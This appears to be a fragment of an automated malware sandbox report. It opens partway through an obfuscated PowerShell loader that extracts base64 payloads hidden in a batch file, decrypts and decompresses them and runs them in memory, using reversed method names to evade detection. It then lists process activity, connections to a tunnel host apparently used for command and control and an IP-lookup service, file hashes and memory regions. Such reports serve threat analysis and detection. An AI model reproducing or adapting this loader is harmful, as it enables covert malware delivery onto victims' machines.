$uKjxO=$hVNQH.EntryPoint; $uKjxO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat';$rMjrX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat').Split([Environment]::NewLine);foreach ($NJxiO in $rMjrX) { if ($NJxiO.StartsWith(':: ')) { $kXTzm=$NJxiO.Substring(3); break; }}$payloads_var=[string[]]$kXTzm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 1800 -ip 1800

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2796

Network

Country Destination Domain Proto
US 8.8.8.8:53 ii-restored.gl.at.ply.gg udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 104.26.13.31:443 api.ip.sb tcp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat

MD5 717c25dae776217fbc92897c79fb72b2
SHA1 c3d1bbe2b559c0c18423b80bee499f0d23b3b477
SHA256 8c3def6d2728ca908b96df1ee12de65b03ca1e4975bbc65813154b846058b949
SHA512 4f9a1a953951cbd0cf112939d973fde0dbaff92a4a2149e619ba39998c379ff62d01c6af03005a2c03831d0d989303a7bf3c0c12ba1b3bf85d1b90ab05dd264d

memory/1800-3-0x0000000074E1E000-0x0000000074E1F000-memory.dmp

memory/1800-4-0x0000000003070000-0x00000000030A6000-memory.dmp

memory/1800-5-0x00000000059F0000-0x000000000601A000-memory.dmp

memory/1800-6-0x0000000074E10000-0x00000000755C1000-memory.dmp

memory/1800-7-0x0000000005790000-0x00000000057B2000-memory.dmp

memory/1800-8-0x0000000074E10000-0x00000000755C1000-memory.dmp

memory/1800-10-0x0000000005910000-0x0000000005976000-memory.dmp

memory/1800-9-0x0000000005830000-0x0000000005896000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2tmkp4tv.umz.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1800-19-0x0000000006020000-0x0000000006377000-memory.dmp

memory/1800-20-0x0000000006420000-0x000000000643E000-memory.dmp

memory/1800-21-0x00000000064D0000-0x000000000651C000-memory.dmp

memory/1800-22-0x0000000007A70000-0x00000000080EA000-memory.dmp

memory/1800-23-0x0000000006A00000-0x0000000006A1A000-memory.dmp

memory/1800-24-0x00000000073F0000-0x00000000073F8000-memory.dmp

memory/1800-25-0x0000000007400000-0x0000000007436000-memory.dmp

memory/1800-26-0x00000000077A0000-0x00000000077BE000-memory.dmp

memory/1800-27-0x0000000008710000-0x0000000008D28000-memory.dmp

memory/1800-28-0x0000000007880000-0x0000000007892000-memory.dmp

memory/1800-29-0x00000000078E0000-0x000000000791C000-memory.dmp

memory/1800-30-0x0000000008200000-0x000000000830A000-memory.dmp

memory/1800-32-0x0000000074E1E000-0x0000000074E1F000-memory.dmp

memory/1800-33-0x0000000074E10000-0x00000000755C1000-memory.dmp

memory/1800-34-0x0000000074E10000-0x00000000755C1000-memory.dmp

memory/1800-35-0x0000000008D30000-0x0000000008EF2000-memory.dmp

memory/1800-36-0x0000000009430000-0x000000000995C000-memory.dmp

memory/1800-37-0x0000000074E10000-0x00000000755C1000-memory.dmp